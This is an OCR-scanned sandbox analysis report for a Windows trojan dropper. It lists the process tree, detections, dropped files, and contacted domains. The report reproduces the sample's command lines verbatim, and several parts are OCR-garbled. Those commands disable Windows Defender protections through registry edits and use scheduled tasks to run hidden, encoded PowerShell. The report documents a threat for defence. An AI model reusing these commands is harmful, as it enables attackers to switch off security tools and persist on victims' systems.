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Windows Analysis Report

file.exe

Overview

General Information Detection

Sample file.exe
Name:

Analysis ID: 753408

MDS: €99e15a440798e.
MALICIOUS
SHAT: b613b8789415166.

SHA256: ¢3dd8a06d395f4..
Tags: exe
Infos: SBRQ¢ts

Score:
Range:
Whitelisted:

Confidence:

Process Tree

= System is w10x64

100
0-100

false

100%

Signatures

Multi AV Scanner detection for subm...
Sigma detected: Schedule system p...

Multi AV Scanner detection for dom...

Antivirus detection for dropped file

Multi AV Scanner detection for drop...

Uses cmd line tools excessively to ...
Encrypted powershell cmdline option...
Very long command line found
Suspicious powershell command lin...
Performs DNS queries to domains w...
Modifies Group Policy settings

Uses schtasks.exe or at.exe to add...

file.exe (PID: 5428 cmdline: C:\Users\user\Desktop\file.exe MD5: E99E15A440798E20C682EB859B3F7885)
4 Install.exe (PID: 2620 cmdline: .\Install.exe MD5: 65D01849A2062434BCE6C580CDA92A1D)

. d Install.exe (PID: 3408 cmdline: .\Install.exe /S /site_id "525403" MD5: 893793FBD70BA4A92919D09205D6C9C1)
. [ forfiles.exe (PID: 5112 cmdline: C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policie

s\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\
Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:64& MD5: 4329CB18F8F74CC8DDE2C858BB80E5D8)
. conhost.exe (PID: 5648 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

Classification

/reg:32&REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64& MD5:

F3BDBE3BB6F734E357235F4D5898582D)

cmd.exe (PID: 5704 cmdline: /C REG ADD "HKLM\SOF TWARE!\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0

« B reg.exe (PID: 5752 cmdline: REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32

MD5: CEE2A7E57DF2A159A065A34913A055C2)

« B reg.exe (PID: 4644 cmdline: REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64

MD5: CEE2A7E57DF2A159A065A34913A055C2)

. [ forfiles.exe (PID: 5640 cmdline: C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policie

s\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\
Spynet\" /f /v \"Spy NetReporting\" /t REG_DWORD /d 0 /reg:64& MD5: 4329CB18F8F74CC8DDE2C858BB80E5D8)

F3BDBE3BB6F734E357235F4D5898582D)

conhost.exe (PID: 5624 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)
cmd.exe (PID: 5696 cmdline: /C REG ADD "HKLM\SOF TWARE!\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0
/reg:32&REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64& MD5:

o W7 reg.exe (PID: 3128 cmdline: REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /

reg:32 MD5: CEE2A7E57DF2A159A065A34913A055C2)
« B Conhost.exe (PID: 5828 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

« [ reg.exe (PID: 1412 cmdiine: REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /

reg:64 MD5: CEE2A7E57DF2A159A065A34913A055C2)

o [W7 schtasks.exe (PID: 5792 cmdline: schtasks /CREATE /TN "gbyyEsIRI" /SC once /ST 15:13:59 /F /RU "user" /TR "powershell -WindowStyle Hidden -Enco

dedCommand cwBOAGEAcgBOACOACAByAG8AYwWBIAHMAcwAgACOAVWBpAG4AZABVAHCAUWBOAHKADABIACAASABpAGQAZABIAG4AIABNAHAAJQB

WAGQAYQBOAGUALgBIAHgAZQAgAC8AZgBVAHIAYWBIAA=="MD5: 15FF7D8324231381BAD48A052F85DF04)
. conhost.exe (PID: 5804 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

o [W7 schtasks.exe (PID: 5992 cmdline: schtasks /run /I /tn "gbyyEsIRI" MD5: 15FF7D8324231381BAD48A052F85DF04)
. conhost.exe (PID: 6040 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

« [B7 schtasks.exe (PID: 2068 cmdline: schtasks /DELETE /F /TN "gbyyEsIRI" MD5: 15FF7D8324231381BAD48A052F85DF04)
. conhost.exe (PID: 4092 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)
« [W schtasks.exe (PID: 1920 cmdline: schtasks /CREATE /TN "bbsSMGQQDZvgelOgpL" /SC once /ST 19:16:00 /RU "SYSTEM" /TR "\"C:\Users\user\AppData\Loca
\Temp\VXAfcxyYiTQKMOERw\efpISHrLkKviaSK\pdyDolJ.exe\" DC /site_id 525403 /S" /V1 /F MD5: 15FF7D8324231381BAD48A052F85DF04)
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conhost.exe (PID: 2072 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)
« B¥ powershell.exe (PID: 6060 cmdline: C:\Windows\System32\WindowsPowerShell\v1.0\powershell. EXE -WindowStyle Hidden -EncodedCommand cwBOAG EAcgBOACOA

cAByAG8AYwWBIAHMAcwAgACOAVWBPAG4AZABVAHCAUWBOAHKADABIACAASABPAGQAZABIAGAAIABNAHAAJQBWAGQAYQBOAGUALgBIAHgAZQAgACBAZgBVAHIA
YwBIAA== MD5: 95000560239032BC68B4C2FDFCDEF913)
conhost.exe (PID: 408 cmdline: C:\Windows\system32\conhost.exe 0xfffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

« [E1 gpupdate.exe (PID: 2108 cmdline: "C:\Windows\system32\gpupdate.exe" /force MD5: 47C68FE26B0188CDD80F744F7405FF26)
. - conhost.exe (PID: 2356 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)
« [E1 gpscript.exe (PID: 5816 cmdline: gpscript.exe /RefreshSystemParam MD5: C48CBDC676E442BAF58920C5B7E556DE)
. d pdyDolJ.exe (PID: 2384 cmdline: C:\Users\user\AppData\Local\Temp\VXAfcxy YiTQKMOERw\efpISHrLkKviaSK\pdyDolJ.exe DC /site_id 525403 /S MD5:

893793FBD70BA4A92919D09205D6C9C1)
« B¥ powershell.exe (PID: 3560 cmdline: powershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2

25451\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:
64;REG ADD \"HKLM\SOFTWARE!\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\
SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\
Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\Thr
eatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \
"2147749373\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" t REG_SZ /d 6
/reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatlDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:32;REG ADD \"H
KLM\SOFTWARE\Policies\Microsoft\Windows Defenden\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Mi
crosoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender
\Threats\Threat|DDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefault
Action\" /f v\"2147737010\" /t REG_SZ /d 6 /req:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatiIDDefaultAction\" /f /v \"2147737010\" /t
REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:32;REG A
DD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Polic
ies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows De
fender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatlIDD
efaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2
147735503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6
/reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKL
M\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /req:32;REG ADD \"HKLM\SOFTWARE\Policies\Micr
osoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:64;" MD5: DBA3SE6449E97D4E3DF64527EF7012A10)

conhost.exe (PID: 2080 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

cmd.exe (PID: 496 cmdline: "C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOF TWARE\Policies\Microsoft\Windows Defender\Threats\ThreatlDDefaultAction" /f

/v 225451 /t REG_SZ /d 6 /reg:32 MD5: F3BDBE3BB6F734E357235F4D5898582D)
« [m1 reg.exe (PID: 3520 cmdline: REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatiDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /r

eg:32 MD5: CEE2A7E57DF2A159A065A34913A055C2)
[m7 reg.exe (PID: 2416 cmdline: "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatiDDefaultAction" /f /v

225451 /t REG_SZ /d 6 /reg:64 MD5: CEE2A7E57DF2A159A065A34913A055C2)
W7 reg.exe (PID: 2064 cmdline: "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatiDDefaultAction" /f /v

256596 /t REG_SZ /d 6 /reg:32 MD5: CEE2A7E57DF2A159A065A34913A055C2)
[m7 reg.exe (PID: 4552 cmdline: "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatiDDefaultAction" /f /v

256596 /t REG_SZ /d 6 /reg:64 MD5: CEE2A7E57DF2A159A065A34913A055C2)
W7 reg.exe (PID: 5128 cmdline: "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatiDDefaultAction" /f /v

242872 /t REG_SZ /d 6 /reg:32 MD5: CEE2A7E57DF2A159A065A34913A055C2)
W7 reg.exe (PID: 5268 cmdline: "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatiDDefaultAction" /f /v

242872 /t REG_SZ /d 6 /reg:64 MD5: CEE2A7E57DF2A159A065A34913A055C2)
[m7 reg.exe (PID: 5248 cmdline: "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatiDDefaultAction" /f /v

2147749373 /t REG_SZ /d 6 /reg:32 MD5: CEE2A7E57DF2A159A065A34913A055C2)
[m1 reg.exe (PID: 5376 cmdline: "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v

2147749373 /t REG_SZ /d 6 /reg:64 MD5: CEE2A7E57DF2A159A065A34913A055C2)
[m7 reg.exe (PID: 5556 cmdline: "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v

2147807942 /t REG_SZ /d 6 /reg:32 MD5: CEE2A7E57DF2A159A065A34913A055C2)
[m7 reg.exe (PID: 5532 cmdline: "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v

2147807942 /t REG_SZ /d 6 /reg:64 MD5: CEE2A7E57DF2A159A065A34913A055C2)
[m7 reg.exe (PID: 5576 cmdline: "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v

2147735735 t REG_SZ /d 6 /reg:32 MD5: CEE2A7E57DF2A159A065A34913A055C2)
= cleanup

.

.

.

.

.

.

.

.

.

.

Malware Configuration

@ No configs have been found

Yara Signatures

@ No yara matches

Sigma Signatures
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Persistence and Installation Behavior
Sigma detected: Schedule system process

Snort Signatures

@ No Snort rule has matched

Joe Sandbox Signatures

AV Detection

Multi AV Scanner detection for submitted file
Multi AV Scanner detection for domain / URL
Antivirus detection for dropped file

Multi AV Scanner detection for dropped file

Networking

Performs DNS queries to domains with low reputation

System Summary

Very long command line found

Data Obfuscation

Suspicious powershell command line found

Persistence and Installation Behavior

=
=

Uses cmd line tools excessively to alter registry or file data

Boot Survival

Uses schtasks.exe or at.exe to add and modify task schedules

HIPS / PFW / Operating System Protection Evasion

Encrypted powershell cmdline option found

Lowering of HIPS / PFW / Operating System Security Settings

= E E EBE B B BE
EEEEEEEN

Modifies Group Policy settings

Mitre Att&ck Matrix
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Screenshots
Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

-
(1]

«Q
[
3
o

Process
Signature
Created File
DNS/IP Info
Is Dropped

Is Windows Process

Number of created Registry Values
Number of created Files

Visual Basic

Delphi

Java

.Net C# or VB.NET

C, C++ or other language

Is malicious

Internet
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DQO

HH 0 Type here to search 0

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample
Source Detection Scanner Label Link
file.exe 39% ReversingLabs Win32.Trojan.Jaik
Dropped Files
Source Detection Scanner Label Link
C:\Users\user\AppData\Local\Temp\VXAfcxy YiTQKMOERw\efpISHrLkKviaSK\pdyDolJ.exe 100% Avira HEUR/AGEN.1250

601
C:\Windows\Temp\aoRCsjFoxFbwPJxK\MeXzroudxpEgwUW\RFYnzaH.exe 100% Avira HEUR/AGEN.1250

601
C:\Users\user\AppData\Local\Temp\7zS2D0C.tmp\Install.exe 100% Avira HEUR/AGEN.1250

601
C:\Users\user\AppData\Local\Temp\7zS2607.tmp\Install.exe 41% ReversingLabs Win32.Trojan.Jaik
C:\Users\user\AppData\Local\Temp\7zS2D0C.tmp\Install.exe 51% ReversingLabs Win32.Trojan.Zusy
C:\Users\user\AppData\Local\Temp\VXAfcxy YiTQKMOERw\efpISHrLkKviaSK\pdyDolJ.exe 51% ReversingLabs Win32.Trojan.Zusy
C:\Windows\Temp\aoRCsjFoxFbwPJxK\MeXzroudxpEgwUW\RFYnzaH.exe 51% ReversingLabs Win32.Trojan.Zusy
Unpacked PE Files
Source Detection Scanner Label Link Download
2.0.Install.exe.3f0000.0.unpack 100% Avira HEUR/AGEN.12 Download File

50601
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Source Detection Scanner Label Link
37.2.pdyDolJ.exe.a0000.0.unpack 100% Avira HEUR/AGEN.12
50601
37.0.pdyDolJ.exe.a0000.0.unpack 100% Avira HEUR/AGEN.12
50601
2.2.Install.exe.3f0000.0.unpack 100% Avira HEUR/AGEN.12
50601
Domains
Source Detection Scanner Label
service-domain.xyz 1% Virustotal
URLs
Source Detection Scanner Label
http://pesterbdd.com/images/Pester.png 0% URL Reputation safe
http://https://go.microsoft.co 0% URL Reputation safe
http://https:/contoso.com/ 0% URL Reputation safe
http://https://contoso.com/License 0% URL Reputation safe
http://https://contoso.com/lcon 0% URL Reputation safe
http://https://oneget.orgX 0% URL Reputation safe
http://https://oneget.orgformat.ps 1xmlagement.dli2040.missionsand 0% URL Reputation safe
http://crl.micr 0% URL Reputation safe
http://https://oneget.org 0% URL Reputation safe
Domains and IPs
Contacted Domains
Name Active Malicious Antivirus Detection
service-domain.xyz 3.80.150.121 true true « 11%, Virustotal, Browse
clients.l.google.com 142.250.203.110 true false
clients2.google.com unknown unknown  false
URLs from Memory and Binaries
Name Source Malicious  Antivirus Detection
http://nuget.org/NuGet.exe powershell.exe, 00000011.00000002.331705 false
203.000001A88156F000.00000004.00000800.0
0020000.00000000.sdmp, powershell.exe, 0
0000011.00000002.306360805.000001A880270
000.00000004.00000800.00020000.00000000.sdmp,
powershell.exe, 00000011.00000002.394976607.
000001A8901A2000.00000004.00000800.00020
000.00000000.sdmp, powershell.exe, 00000
011.00000002.390327444.000001A89006C000.
00000004.00000800.00020000.00000000.sdmp
http://www.apache.org/licenses/LICENSE-2.0 powershell.exe, 00000011.00000002.314741 false
800.000001A880EC5000.00000004.00000800.0
0020000.00000000.sdmp
http://pesterbdd.com/images/Pester.png powershell.exe, 00000011.00000002.305770 false « URL Reputation: safe
495.000001A880203000.00000004.00000800.0
0020000.00000000.sdmp, powershell.exe, 0
0000011.00000002.314741800.000001A880EC5
000.00000004.00000800.00020000.00000000.sdmp
http:ifhttps://go.microsoft.co powershell.exe, 00000011.00000002.413168 false « URL Reputation: safe
251.000001A8F993B000.00000004.00000020.0
0020000.00000000.sdmp
http:/fwww.apache.org/licenses/LICENSE-2.0.html powershell.exe, 00000011.00000002.305770 false
495.000001A880203000.00000004.00000800.0
0020000.00000000.sdmp, powershell.exe, 0
0000011.00000002.314741800.000001A880EC5
000.00000004.00000800.00020000.00000000.sdmp
http://https://contoso.com/ powershell.exe, 00000011.00000002.390327 false « URL Reputation: safe
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444.000001A89006C000.00000004.00000800.0
0020000.00000000.sdmp

Download

Download File

Download File

Download File

Link

Browse

Link

Reputation

unknown
high
high

Reputation

high

high

unknown

unknown

high

unknown
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https://www.virustotal.com/gui/url/4fd1abf8ae7d0ec307b1f65b612eae5f4b80035469bb711adf0c9e7308bd6a1c/detection/u-4fd1abf8ae7d0ec307b1f65b612eae5f4b80035469bb711adf0c9e7308bd6a1c-1667801492
https://www.virustotal.com/gui/url/4fd1abf8ae7d0ec307b1f65b612eae5f4b80035469bb711adf0c9e7308bd6a1c/detection/u-4fd1abf8ae7d0ec307b1f65b612eae5f4b80035469bb711adf0c9e7308bd6a1c-1667801492

Name Source Malicious  Antivirus Detection Reputation

http://https:/nuget.org/nuget.exe powershell.exe, 00000011.00000002.331705 false high
203.000001A88156F000.00000004.00000800.0
0020000.00000000.sdmp, powershell.exe, 0
0000011.00000002.306360805.000001A880270
000.00000004.00000800.00020000.00000000.sdmp,
powershell.exe, 00000011.00000002.394976607.
000001A8901A2000.00000004.00000800.00020
000.00000000.sdmp, powershell.exe, 00000
011.00000002.390327444.000001A89006C000.
00000004.00000800.00020000.00000000.sdmp

http://https://contoso.com/License powershell.exe, 00000011.00000002.390327 false « URL Reputation: safe unknown
444.000001A89006C000.00000004.00000800.0
0020000.00000000.sdmp

http://https://contoso.com/lcon powershell.exe, 00000011.00000002.390327 false « URL Reputation: safe unknown
444.000001A89006C000.00000004.00000800.0
0020000.00000000.sdmp

http://https://oneget.orgX powershell.exe, 00000011.00000002.314741 false « URL Reputation: safe unknown
800.000001A880EC5000.00000004.00000800.0
0020000.00000000.sdmp

http:ff powershell.exe, 00000011.00000002.314741 false « URL Reputation: safe unknown
https:/oneget.orgformat.ps1xmlagement.dli2040.missi  800.000001A880EC5000.00000004.00000800.0

onsand 0020000.00000000.sdmp

http://crl.micr powershell.exe, 00000011.00000002.403370 false « URL Reputation: safe unknown

580.000001A8F7925000.00000004.00000020.0
0020000.00000000.sdmp

http:ff powershell.exe, 00000011.00000002.303899 false high
schemas.xmlsoap.org/ws/2005/05/identity/claims/nam ~ 135.000001A880001000.00000004.00000800.0
e 0020000.00000000.sdmp, powershell.exe, 0

0000026.00000002.447061574.0000000002F01
000.00000004.00000800.00020000.00000000.sdmp

http://https://github.com/Pester/Pester powershell.exe, 00000011.00000002.305770 false high
495.000001A880203000.00000004.00000800.0
0020000.00000000.sdmp, powershell.exe, 0
0000011.00000002.314741800.000001A880EC5
000.00000004.00000800.00020000.00000000.sdmp

http://https://oneget.org powershell.exe, 00000011.00000002.314741 false « URL Reputation: safe unknown
800.000001A880EC5000.00000004.00000800.0
0020000.00000000.sdmp

World Map of Contacted IPs

@ No contacted IP infos

General Information

Joe Sandbox Version: 36.0.0 Rainbow Opal
Analysis ID: 753408

Start date and time: 2022-11-24 19:13:21 +01:00
Joe Sandbox Product: CloudBasic

Overall analysis duration: Oh 10m 58s

Hypervisor based Inspection enabled: false

Report type: light

Sample file name: file.exe

Cookbook file name: default.jos

Analysis system description: Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 104, IE 11, Adobe Reader DC 19, Java 8 Update 211
Run name: Run with higher sleep bypass
Number of analysed new started processes 59

analysed:

Number of new started drivers analysed: 0

Number of existing processes analysed: 0

Number of existing drivers analysed: 0

Number of injected processes analysed: 0

Technologies: « HCA enabled

o EGA enabled
« HDC enabled
« AMSI enabled

Analysis Mode: default
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Analysis stop reason: Timeout
Detection: MAL
Classification: mal100.troj.evad.winEXE@89/15@2/0

EGA Information:

.

Successful, ratio: 40%

Successful, ratio: 100% (good quality ratio 97.7%)
Quality average: 84.6%
Quality standard deviation: 22.8%

HDC Information:

HCA Information: Successful, ratio: 65%
Number of executed functions: 0

Number of non-executed functions: 0

.

.

.

Cookbook Comments: Found application associated with file extension: .exe

Sleeps bigger than 100000000ms are automatically reduced to 1000ms

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, Conhost.exe, SgrmBroker.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 172.217.168.74, 142.250.203.106, 216.58.215.234, 172.217.168.10, 172.217.168.42
Excluded domains from analysis (whitelisted): www.bing.com, files.testupdate.info, fs.microsoft.com, ocsp.digicert.com, login.live.com, ctldl.windowsupdate.com, settings-win.data.m
icrosoft.com, www.testupdate.info, www.googleapis.com, api5.check-data.xyz

Execution Graph export aborted for target powershell.exe, PID 6060 because it is empty

Not all processes where analyzed, report is missing behavior information

Report creation exceeded maximum time and may have missing d isassembly code information.

Report size exceeded maximum capacity and may have missing b ehavior information.

Report size getting too big, t oo many NtOpenKeyEx calls found.

Report size getting too big, t oo many NtProtectVirtualMemory calls found.

Report size getting too big, t oo many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time Type Description

19:15:14 Task Scheduler Run new task: gbyyEsIRI path: powershell s>-WindowStyle Hidden -EncodedCommand cwBOAGEAcgB
0ACOACABYAG8AYwBIAHMAcWAgACOAVWBPAG4AZABVAHCAUWBOAHKADABIACAASABPAGQAZ
ABIAG4AIABNAHAAJQBWAGQAYQBOAGUALgBIAHgAZQAgAC8AZgBVAHIAYWBIAA==

19:15:35 Task Scheduler Run new task: bbsSMGQQDZvgelOgpL path: C:\Users\user\AppData\Local\Temp\VXAfcxy YiTQKMOERwW\
efpISHrLkKviaSK\pdyDolJ.exe s>DC /site_id 525403 /S

19:16:48 Task Scheduler Run new task: gwDFsvbzF path: powershell s>-WindowStyle Hidden -EncodedCommand cwBOAGEAcgB
0ACOACABYAGBAYwWBIAHMACcWAgACOAVWBPAG4AZABVAHCAUWBOAHKADABIACAASABPAGQAZ
ABIAG4AIABnAHAAJQBWAGQAYQBOAGUALgBIAHgAZQAgAC8AZgBVAHIAYWBIAA==

19:17:03 Task Scheduler Run new task: agQaaMVMfggpSGSbr path: C:\Windows\Temp\aoRCsjFoxFbwPJxK\MeXzroudxpEgwUW\RFY
nzaH.exe s>mY /site_id 525403 /S

19:17:08 Task Scheduler Run new task: AxXVCmvJfwAUUQ2 path: C:\Windows\system32\wscript.exe s>"C:\ProgramData\wizgo
PrNSfGOJXVB\oJRrLYd.wsf"

Joe Sandbox View / Context

IPs

@ No context

Domains

@ No context

ASNs

@ No context

JA3 Fingerprints

@ No context

Dropped Files
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@ No context

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Noninteractive

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

data

dropped

64

0.9260988789684415

false

3:Nlllulb/lj:NIIUb/I

13AF6BE1CB30E2FB779EA728EE0A6D67
F33581AC2C60B1F02C978D14DC220DCE57CC9562
168561FB18F8EBA8043FA9FC4B8A95B628F2CF5584E5A3B96COEBAF6DD740E3F
1159E1087BC7F7CBB233540B61F1BDECB161FF6C65AD1EFC9911E87B8E4B2E5F8C2AF56D67B33BC1F6836106D3FEA8C750CC24B9F451ACF85661E0715B8294

C:\Users\user\AppData\Local\Temp\7zS2607.tmp\Install.exe v B@

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:
SHAT:
SHA-256:
SHA-512:

Malicious:
Antivirus:

Preview:

C:\Users\user\Desktop!\file.exe

PE32 executable (GUI) Intel 80386, for MS Windows

dropped

6571809

7.996003603865134

true
196608:910AMLWOhmdNwFc7/hpQd4CYYIW7bWzg+aNxKpzDkp5x4WM:30vWOkz3Qd4joe Y SxKpzDo5x4WM
65D01849A2062434BCE6C580CDA92A1D

8BEF36557E25532961724539E4DDBB4D 11970627
8B691E37EECDDAACD1BB83067CE261157895DEC8302E558C5C9D159C117151A4

OEECF3824418C210DB4257EA5F2852BB32B02C5B3CEOFE62F841F71E10EC81482D889880EE42438B3EF2DC39682BDA2CD9435DD08CF21879D92148A9C7591EL
E

true

« Antivirus: ReversinglLabs, Detection: 41%

C:\Users\user\AppData\Local\Temp\7zS2607.tmp\__data__\config.txt E

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:
SHA1:
SHA-256:
SHA-512:
Malicious:

Preview:

C:\Users\user\Desktopl\file.exe

data

dropped

866146

7.999783652399914

true
24576:4YGhUNS5iugAVdfj07IcTW6rlwX2N8m/ZQa2fd7w-+IxullnxM:4YGhPufVdfigluWmIwX2N8SKPd86UM
927A00BC73AD358930C1BCA86D1F78AE

AAED44842119FF3287961E29E9A7CE38B5C92DC3
526184BCF9AB17BEF2C67600F9D8E7E7CE4DDC4D4241BECC5F724E832AFB538D
E952277890D0E02B56836BFCE7BC9427CF8616D06E4EBDE2F07EAE9899E7CD837BEADDI3D6919627492B44EF91E7F2E08F37597840B2801AEA5313423CEF793
false

E{ X D+ih. v 4 F.KVYL\by..... N JoAw. 6.4 [L.M+nM..)...
.M&{E........ T..\.gK.$.zQ..W..../.0.y.. .cp. K+0L.X.24#(.T7.......eLi.@].XJ.f3D..a#..I.....M.MD......kl_T.<.h.O........+.:-A.u. " L. b...0l....e..m...Ka.5..N.
